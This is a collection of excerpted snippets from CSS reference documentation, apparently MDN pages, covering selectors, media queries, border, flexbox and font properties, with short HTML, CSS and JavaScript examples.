... <li> <input id="value1" name="value1" type="number" placeholder="1 to 10" min="1" max="10" value="12"> <label for="value1">your value is </label> </li> </ul> </form> css li { list-style: none; margin-bottom: 1em; } input { border: 1px solid black; } input:in-range { background-color: rgba(0, 255, 0, 0.25); } input:out-of-range { background-color: rgba(255, 0, 0, 0.25); border: 2px solid red; } input:in-range + label::after { content: 'okay.'; } input:out-of-range + label::after { content: 'out of range!'; } result specifications specification status comment html living standardthe definition of ':in-range' in that specification.
:indeterminate - CSS: Cascading Style Sheets
/* selects any <input> whose state is indeterminate */ input:indeterminate { background: lime; } elements targeted by this selector are: <input type="checkbox"> elements whose indeterminate property is set to true by javascript <input type="radio"> elements, when all radio buttons with the same name value in the form are unchecked <progress> elements in an indeterminate state syntax :indeterminate examples checkbox & radio button this example applies special styles to the labels associated with indeterminate form fields.
... html <div> <input type="checkbox" id="checkbox"> <label for="checkbox">this label starts out lime.</label> </div> <div> <input type="radio" id="radio"> <label for="radio">this label starts out lime.</label> </div> css input:indeterminate + label { background: lime; } javascript var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html living standardthe definition of ':indeterminate' in that specification.
:invalid - CSS: Cascading Style Sheets
WebCSS:invalid
html <form> <div class="field"> <label for="url_input">enter a url:</label> <input type="url" id="url_input"> </div> <div class="field"> <label for="email_input">enter an email address:</label> <input type="email" id="email_input" required> </div> </form> css label { display: block; margin: 1px; padding: 1px; } .field { margin: 1px; padding: 1px; } input:invalid { background-color: ...
...however, it does apply a style (a red "glow" using the box-shadow property) to the :-moz-ui-invalid pseudo-class, which applies in a subset of cases for :invalid.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px solid red; } input:invalid + span::before { content: '✖'; color: red; } input:val...
... note: we've used ::before to add these labels, as we were already using ::after for the "required" labels.
additive-symbols - CSS: Cascading Style Sheets
syntax additive-symbols: 3 "0"; additive-symbols: 3 "0", 2 "\2e\20"; additive-symbols: 3 "0", 2 url(symbol.png); when the system descriptor is cyclic, numeric, alphabetic, symbolic, or fixed, use the symbols descriptor instead of additive-symbols.
...or> <color-stop-length>?<linear-color-hint> = <length-percentage><length-percentage> = <length> | <percentage><angular-color-stop> = <color> && <color-stop-angle>?<angular-color-hint> = <angle-percentage>where <color-stop-length> = <length-percentage>{1,2}<color-stop-angle> = <angle-percentage>{1,2}<angle-percentage> = <angle> | <percentage> examples specifying additive symbols html <ul class="list"> <li>one</li> <li>two</li> <li>three</li> <li>four</li> <li>five</li> </ul> css @counter-style additive-symbols-example { system: additive; additive-symbols: v 5, iv 4, i 1; } .list { list-style: additive-symbols-example; } result specifications specification status comment css counter styles level 3the definition of 'additive-symbols' in th...
aspect-ratio - CSS: Cascading Style Sheets
-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used iframe and dataurl to enable this iframe could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } ...
...} @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
grid - CSS: Cascading Style Sheets
WebCSS@mediagrid
examples html <p class="unknown">i don't know if you're using a grid device.
... :-(</p> <p class="bitmap">you are using a bitmap device.</p> <p class="grid">you are using a grid device!
pointer - CSS: Cascading Style Sheets
WebCSS@mediapointer
html <input id="test" type="checkbox" /> <label for="test">look at me!</label> css input[type="checkbox"] { -moz-appearance: none; -webkit-appearance: none; appearance: none; border: solid; margin: 0; } input[type="checkbox"]:checked { background: gray; } @media (pointer: fine) { input[type="checkbox"] { width: 15px; height: 15px; border-width: 1px; border-color: blue; } } @me...
...dia (pointer: coarse) { input[type="checkbox"] { width: 30px; height: 30px; border-width: 2px; border-color: red; } } result specifications specification status comment media queries level 4the definition of 'pointer' in that specification.
prefers-reduced-data - CSS: Cascading Style Sheets
in this example the montserrat-regular.woff2 font file will neither be preloaded nor downloaded if the user prefers reduced data, in this case the "system font stack" will serve as the fallback font: html <head> <link rel="preload" href="fonts/montserrat-regular.woff2" as="font" media="(prefers-reduced-data: no-preference)" crossorigin> <link rel="stylesheet" href="style.css"> </head> css @media (prefers-reduced-data: no-preference) { @font-face { font-family: montserrat; font-style: normal; font-weight: 4...
... /* latin */ src: local('montserrat regular'), local('montserrat-regular'), url('fonts/montserrat-regular.woff2') format('woff2'); unicode-range: u+0000-00ff, u+0131, u+0152-0153, u+02bb-02bc, u+02c6, u+02da, u+02dc, u+2000-206f, u+2074, u+20ac, u+2122, u+2191, u+2193, u+2212, u+2215, u+feff, u+fffd; } } body { font-family: montserrat, -apple-system, blinkmacsystemfont, "segoe ui", roboto, helvetica, arial, "microsoft yahei", sans-serif, "apple color emoji", "segoe ui emoji", "segoe ui symbol"; } result specifications specification status comment media queries level 5the definition of 'reduced-data' in that specification.
@media - CSS: Cascading Style Sheets
WebCSS@media
security because media queries provide insights into the capabilities—and by extension, the features and design—of the device the user is working with, there is the potential that they could be abused to construct a "fingerprint" which identifies the device, or at least categorizes it to some degree of detail that may be undesirable to users.
...a browser might also offer additional measures in this area; for example, if firefox's "resist fingerprinting" setting is enabled, many media queries report default values rather than values representing the actual device state.
orientation - CSS: Cascading Style Sheets
syntax values auto the user agent will set the document's orientation automatically, typically based on the device's orientation as determined by an accelerometer (if the device has such a hardware sensor), although there is often a user-controlled, os-level "lock orientation" setting that will trump the accelerometer reading.
... formal definition related at-rule@viewportinitial valueautopercentagesrefer to the size of bounding boxcomputed valueas specified formal syntax auto | portrait | landscape examples setting viewport orientation @viewport { orientation: landscape; } specifications specification status comment css device adaptationthe definition of '"orientation" descriptor' in that specification.
@viewport - CSS: Cascading Style Sheets
WebCSS@viewport
it's primarily used for mobile devices, but is also used by desktop browsers that support features like "snap to edge" (such as microsoft edge).
... @viewport { width: 100vw; /*sets the width of the actual viewport to the device width*/ } note: the use of <meta name="viewport"> tag overrides @viewport syntax the at-rule contains a set of nested descriptors in a css block that is delimited by curly braces.
CSS Containment - CSS: Cascading Style Sheets
note: style containment is "at-risk" in the spec and may not be supported everywhere (it's not currently supported in firefox).
...the specification describes this value as being "reasonably safe to apply widely".
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
the specification describes the behaviour as follows: “specifying visibility:collapse on a flex item causes it to become a collapsed flex item, producing an effect similar to visibility:collapse on a table-row or table-column: the collapsed flex item is removed from rendering entirely, but leaves behind a "strut" that keeps the flex line’s cross-size stable.
... thus, if a flex container has only one flex line, dynamically collapsing or uncollapsing items may change the flex container’s main size, but is guaranteed to have no effect on its cross size and won’t cause the rest of the page’s layout to "wobble".
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
there is a note in the flexbox spec stating that in the future, once it is completed, the definitions in box alignment level 3 will supersede those of flexbox: "note: while the alignment properties are defined in css box alignment [css-align-3], flexible box layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec.
...additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items.
Stacking without the z-index property - CSS: Cascading Style Sheets
when the z-index property is not specified on any element, elements are stacked in the following order (from bottom to top): the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html descendant positioned elements, in order of appearance in the html keep in mind, when the order property alters rendering from the "order of appearance in the html" within flex containers, it similarly affects the order for stacking context.
... source code for the example html <div id="abs1" class="absolute"> <b>div #1</b><br />position: absolute;</div> <div id="rel1" class="relative"> <b>div #2</b><br />position: relative;</div> <div id="rel2" class="relative"> <b>div #3</b><br />position: relative;</div> <div id="abs2" class="absolute"> <b>div #4</b><br />position: absolute;</div> <div id="sta1" class="static"> <b>div #5</b><br />position: static;</div> css b { font-family: sans-serif; } div { padding: 10px; border: 1px dashed; text-align: center; } .static { position: static; height: 80px; background-color: #f...
CSS Scrollbars - CSS: Cascading Style Sheets
.scroller { width: 300px; height: 100px; overflow-y: scroll; scrollbar-color: rebeccapurple green; scrollbar-width: thin; } html <div class="scroller"> veggies es bonus vobis, proinde vos postulo essum magis kohlrabi welsh onion daikon amaranth tatsoi tomatillo melon azuki bean garlic.
... iossamsung internetscrollbar-colorchrome no support noedge no support nofirefox full support 64notes full support 64notes notes on macos, you need to set the general > show scroll bars setting in system preferences to "always" for this property to have any effect.
CSS selectors - CSS: Cascading Style Sheets
syntax: .classname example: .index will match any element that has a class of "index".
... syntax: #idname example: #toc will match the element that has the id "toc".
CSS Text Decoration - CSS: Cascading Style Sheets
examples .under { text-decoration: underline red; } .over { text-decoration: wavy overline lime; } .line { text-decoration: line-through; } .plain { text-decoration: none; } .underover { text-decoration: dashed underline overline; } .thick { text-decoration: solid underline purple 4px; } .blink { text-decoration: blink; } <p class="under">this text has a line underneath it.</p> <p class="over">this text has a line over it.</p> <p class="line">this text has a line going through it.</p> <p>this <a class="plain" href="#">link will not be underlined</a>, as links generally are by default.
... be careful when removing the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specification status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (revision 1) recommendation css level 1 recommendation initial definition ...
Child combinator - CSS: Cascading Style Sheets
/* list items that are children of the "my-things" list */ ul.my-things > li { margin: 2em; } elements matched by the second selector must be the immediate children of the elements matched by the first selector.
... this is stricter than the descendant combinator, which matches all elements matched by the second selector for which there exists an ancestor element matched by the first selector, regardless of the number of "hops" up the dom.
Class selectors - CSS: Cascading Style Sheets
/* all elements with class="spacious" */ .spacious { margin: 2em; } /* all <li> elements with class="spacious" */ li.spacious { margin: 2em; } /* all <li> elements with a class list that includes both "spacious" and "elegant" */ /* for example, class="elegant retro spacious" */ li.spacious.elegant { margin: 2em; } syntax .class_name { style properties } note that this is equivalent to the following attribute selector: [class~=class_name] { style properties } examples css .red { color: #f33; } .yellow-bg { background: #ffa; } .fancy { font-weight: bold; text-shadow: 4px 4px 3px #77f; } html <p class="red">this paragraph has red text.</p> <p class="red yellow-bg">this paragra...
...ph has red text and a yellow background.</p> <p class="red fancy">this paragraph has red text and "fancy" styling.</p> <p>this is just a regular paragraph.</p> result specifications specification status comment selectors level 4the definition of 'class selectors' in that specification.
Pagination - CSS: Cascading Style Sheets
to help with this we have added aria-label="pagination" on the <nav> element.
... the "see also" section at the end of this document has links to related accessibility topics.
Testing media queries programmatically - CSS: Cascading Style Sheets
for example, to set up a query list that determines if the device is in landscape or portrait orientation: const mediaquerylist = window.matchmedia("(orientation: portrait)"); checking the result of a query once you've created your media query list, you can check the result of the query by looking at the value of its matches property: if (mediaquerylist.matches) { /* the viewport is currently in portrait orientation */ } else { /* the viewport is not currently in portrait orientation, therefore landscape */ } receiving query notifica...
...const mediaquerylist = window.matchmedia("(orientation: portrait)"); // define a callback function for the event listener.
Using media queries - CSS: Cascading Style Sheets
} many media features are range features, which means they can be prefixed with "min-" or "max-" to express "minimum condition" or "maximum condition" constraints.
...} syntax improvements in level 4 the media queries level 4 specification includes some syntax improvements to make media queries using features that have a "range" type, for example width or height, less verbose.
Scaling of SVG backgrounds - CSS: Cascading Style Sheets
automatic sizing using "auto" for both dimensions if background-size is set to auto or auto auto, rule 2 says that rendering must preserve any intrinsic ratio that's provided.
... background: url(no-dimensions-1x1-ratio.svg); background-size: auto auto; the rendered output looks like this: using "auto" and one specific length given rule 1, specified dimensions are always used, so we need to use our rules only to determine the second dimension.
Shorthand properties - CSS: Cascading Style Sheets
note that the values are in clockwise order, beginning at the top: top, right, bottom, then left (trbl, the consonants in "trouble").
...effectively, this "turns on inheritance".
Universal selectors - CSS: Cascading Style Sheets
examples css * [lang^=en] { color: green; } *.warning { color: red; } *#maincontent { border: 1px solid blue; } .floating { float: left } /* automatically clear the next sibling after a floating element */ .floating + * { clear: left; } html <p class="warning"> <span lang="en-us">a green span</span> in a red paragraph.
... </p> <p id="maincontent" lang="en-gb"> <span class="warning">a red span</span> in a green paragraph.
attr() - CSS: Cascading Style Sheets
WebCSSattr
/* simple usage */ attr(data-count); attr(title); /* with type */ attr(src url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values attribute-name is the name of an attribute on the html element referenced in the css.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background { height: 100vh; } .background { background-color: red; } .background[data-background] { background-color: attr(data-b...
background-attachment - CSS: Cascading Style Sheets
</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"); background-attachment: fixed; } result multiple background images this property supports multiple background images.
...</p> css p { background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif"); background-attachment: fixed, scroll; background-repeat: no-repeat, repeat-y; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-attachment' in that specifi...
background-blend-mode - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <blend-mode>#where <blend-mode> = normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity examples <div id="div"></div> <select id="select"> <option>normal</option> <option>multiply</option> <option selected>screen</option> <option>overlay</option> <option>darken</option> <option>lighten</option> <option>color-dodge</option> <option>color-burn</option> <option>hard-light</option> <option>soft-light</option> <option>difference</option> <option>exclusion</op...
...tion> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
background-clip - CSS: Cascading Style Sheets
see "the backgrounds of special elements." note: for documents whose root element is an html element: if the computed value of background-image on the root element is none and its background-color is transparent, user agents must instead propagate the computed values of the background properties from that element’s first html <body> child element.
...it also applies to ::first-letter and ::first-line.inheritednocomputed valueas specifiedanimation typediscrete formal syntax <box>#where <box> = border-box | padding-box | content-box examples html <p class="border-box">the background extends behind the border.</p> <p class="padding-box">the background extends to the inside edge of the border.</p> <p class="content-box">the background extends only to the edge of the content box.</p> <p class="text">the background is clipped to the foreground text.</p> css p { border: .8em darkviolet; border-style: dotted double; margin: 1em 0; padding: 1.4e...
border-bottom-color - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-top-color'> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-bottom-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-color' in that specification.
border-collapse - CSS: Cascading Style Sheets
formal definition initial valueseparateapplies totable and inline-table elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax collapse | separate examples a colorful table of browser engines html <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr>...
... <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> css .collapse { border-collapse: collapse; } .separate { border-collapse: separate; } table { display: inline-table; margin: 1em; border: dashed 5px; } table th, table td { border: solid 3px; } .fx...
border-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples complete border-color usage html <div id="justone"> <p><code>border-color: red;</code> is equivalent to</p> <ul><li><code>border-top-color: red;</code></li> <li><code>border-right-color: red;</code></li> <li><code>border-bottom-color: red;</code></li> <li><code>border-left-color: red;</code></li> </ul> </div> <div id="horzvert"> <p><code>border-color: gold red;</code> is equivalent to</p> <ul><li><code>border-top-col...
...or: gold;</code></li> <li><code>border-right-color: red;</code></li> <li><code>border-bottom-color: gold;</code></li> <li><code>border-left-color: red;</code></li> </ul> </div> <div id="topvertbott"> <p><code>border-color: red cyan gold;</code> is equivalent to</p> <ul><li><code>border-top-color: red;</code></li> <li><code>border-right-color: cyan;</code></li> <li><code>border-bottom-color: gold;</code></li> <li><code>border-left-color: cyan;</code></li> </ul> </div> <div id="trbl"> <p><code>border-color: red cyan black gold;</code> is equivalent to</p> <ul><li><code>border-top-color: red;</code></li> <li><code>border-right-color: cyan;</code></li> <li><code>border-bottom-color: black;</code></li> <li><code>border-left-color: gold;</code></li>...
border-image-repeat - CSS: Cascading Style Sheets
it also applies to ::first-letter.inheritednocomputed valueas specifiedanimation typediscrete formal syntax [ stretch | repeat | round | space ]{1,2} examples repeating border images css #bordered { width: 12rem; margin-bottom: 1rem; padding: 1rem; border: 40px solid; border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27; border-image-repeat: stretch; /* can be changed in the live sample */ } html <div id="bordered">you can try out various border repetition rules on me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">space<...
.../option> <option value="stretch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-width - CSS: Cascading Style Sheets
nheritednopercentagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels.
...stet clita kasd gubergren, no sea takimata sanctus est lorem ipsum dolor sit amet.</p> css p { border: 20px solid; border-image: url("/static/external/21/214842819586a8dd293c17b38d0fd0e26430146a86dd04294a53ecaeeea7d0e2.png") 30 round; border-image-width: 16px; padding: 40px; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-width' in that specification.
border-left-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-left-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-left-color' in that specification.
border-right-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-right-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-right-color' in that specification.
border-top-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples a simple div with a border html <div class="mybox"> <p>this is a box with a border around it.
... note which side of the box is <span class="redtext">red</span>.</p> </div> css .mybox { border: solid 0.3em gold; border-top-color: red; width: auto; } .redtext { color: red; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-top-color' in that specification.
calc() - CSS: Cascading Style Sheets
WebCSScalc
in this example, the css creates a banner that stretches across the window, with a 40-pixel gap between both sides of the banner and the edges of the window: .banner { position: absolute; left: 40px; width: calc(100% - 80px); border: solid black 1px; box-shadow: 1px 2px; background-color: yellow; padding: 6px; text-align: center; box-sizing: border-box; } <div class="banner">this is a banner!</div> automatically sizing form fields to fit their container another use case for calc() is to help ensure that form fields fit in the available space, without extruding past the edge of their container, while maintaining an appropriate margin.
...then, the following html makes use of this css: <form> <div id="formbox"> <label>type something:</label> <input type="text"> </div> </form> nested calc() with css variables you can also use calc() with css variables.
clip - CSS: Cascading Style Sheets
WebCSSclip
ping an image css .dotted-border { border: dotted; position: relative; width: 536px; height: 350px; } #top-left, #middle, #bottom-right { position: absolute; top: 0; } #top-left { left: 360px; clip: rect(0 175px 113px 0); } #middle { left: 280px; clip: rect(119px 255px 229px 80px); } #bottom-right { left: 200px; clip: rect(235px 335px 345px 160px); } html <p class="dotted-border"> <img src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="original graphic"> <img id="top-left" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to upper left"> <img id="middle" src="https://udn.realityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped towards middle"> <img id="bottom-right" src="https://udn.real...
...ityripple.com/samples/8f/15174f3500.jpg" title="graphic clipped to bottom right"> </p> result specifications specification status comment css masking module level 1the definition of 'clip' in that specification.
column-gap (grid-column-gap) - CSS: Cascading Style Sheets
containers, grid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, with <length>s made absolute, and normal computing to zero except on multi-column elementsanimation typea length, percentage or calc(); formal syntax normal | <length-percentage>where <length-percentage> = <length> | <percentage> examples flex layout html <div id="flexbox"> <div></div> <div></div> <div></div> </div> css #flexbox { display: flex; height: 100px; column-gap: 20px; } #flexbox > div { border: 1px solid green; background-color: lime; flex: auto; } result grid layout html <div id="grid"> <div></div> <div></div> <div></div> </div> css #grid { grid-column-gap: 20px; } #grid { display: grid; height: 100px...
...; grid-template-columns: repeat(3, 1fr); grid-template-rows: 100px; column-gap: 20px; } #grid > div { border: 1px solid green; background-color: lime; } result multi-column layout html <p class="content-box"> this is some multi-column text with a 40px column gap created with the css `column-gap` property.
counters() - CSS: Cascading Style Sheets
WebCSScounters
> <li> <ol> <li></li> <li> <ol> <li></li> <li></li> <li></li> </ol> </li> </ol> </li> </ol> css ol { counter-reset: listcounter; } li { counter-increment: listcounter; } li::marker { content: counters(listcounter, '.', upper-roman) ') '; } li::before { content: counters(listcounter, ".") " == " counters(listcounter, ".", lower-roman) ; } result decimal-leading-zero compared to lower-alpha html <ol> <li> <ol> <li></li> <li></li> <li></li> </ol> </li> <li></li> <li></li> <li> <ol> <li></li> <li> <ol> <li></li> <li></li> <li></li> </ol> <...
.../li> </ol> </li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::marker { content: counters(count, '.', upper-alpha) ') '; } li::before { content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
to deal with single values of display the specification explains what to do if only the outer value of block or inline is used: "if a <display-outside> value is specified but <display-inside> is omitted, the element’s inner display type defaults to flow." this means that the behavior is exactly as it is in a single value world.
... if only an inner value of flex, grid, or flow-root is specified then the specification explains that the outer value should be set to block: "if a <display-inside> value is specified but <display-outside> is omitted, the element’s outer display type defaults to block—except for ruby, which defaults to inline." finally, we have some legacy pre-composed inline-level values of: inline-block inline-table inline-flex inline-grid if a supporting browser comes across these as single values then it treats them the same as the two-value versions: inline flow-root inline table inline flex inline grid so all of the current situations are ...
<display-internal> - CSS: Cascading Style Sheets
this page defines those "internal" display values, which only have meaning within that particular layout mode.
... html <main> <div> <label for="name">name</label> <input type="text" id="name" name="name"> </div> <div> <label for="age">age</label> <input type="text" id="age" name="age"> </div> </main> css main { display: table; } div { display: table-row; } label, input { display: table-cell; margin: 5px; } result specifications specification status css display module level 3the d...
<filter-function> - CSS: Cascading Style Sheets
html <div></div> <ul> <li> <label for="filter-select">choose a filter function:</label> <select id="filter-select"> <option selected>blur</option> <option>brightness</option> <option>contrast</option> <option>drop-shadow</option> <option>grayscale</option> <option>hue-rotate</option> <option>invert</option> <option>opacity</option> <option>saturate</option> <option>sepia</...
...option> </select> </li> <li> <input type="range"><output></output> </li> <li> <p>current value: <code></code></p> </li> </ul> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curvalue = document.querysele...
flex-direction - CSS: Cascading Style Sheets
understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial valuerowapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax row | row-reverse | column | column-reverse examples reversing flex container columns and rows html <h4>this is a column-reverse</h4> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> </div> <h4>this is a row-reverse</h4> <div id="content1"> <div class="box1" style="background-color:red;">a</div> <div class="box1" style="background-color:lightblue;">b</div> <div class="box1" style="bac...
...kground-color:yellow;">c</div> </div> css #content { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: column-reverse; } .box { width: 50px; height: 50px; } #content1 { width: 200px; height: 200px; border: 1px solid #c3c3c3; display: flex; flex-direction: row-reverse; } .box1 { width: 50px; height: 50px; } result specifications specification status comment css flexible box layout modulethe definition of 'flex-direction' in that specification.
flex-wrap - CSS: Cascading Style Sheets
WebCSSflex-wrap
formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap | wrap-reverse examples setting flex container wrap values html <h4>this is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> ...
... <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; font: 100 24px/100px sans-serif; height: 150px; text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
font-optical-sizing - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | none examples disabling optical sizing <p class="optical-sizing">this paragraph is optically sized.
... this is the default across browsers.</p> <p class="no-optical-sizing">this paragraph is not optically sized.
font-stretch - CSS: Cascading Style Sheets
for truetype or opentype variable fonts, the "wdth" variation is used to implement varying widths.
... html <div class="container"> <p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, version 1.1: http://scripts.sil.org/cms/scripts/page.php?i...
font-synthesis - CSS: Cascading Style Sheets
it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | [ weight | style ] examples disabling font synthesis html <em class="syn">synthesize me!
... 站直。</em> <br/> <em class="no-syn">don't synthesize me!
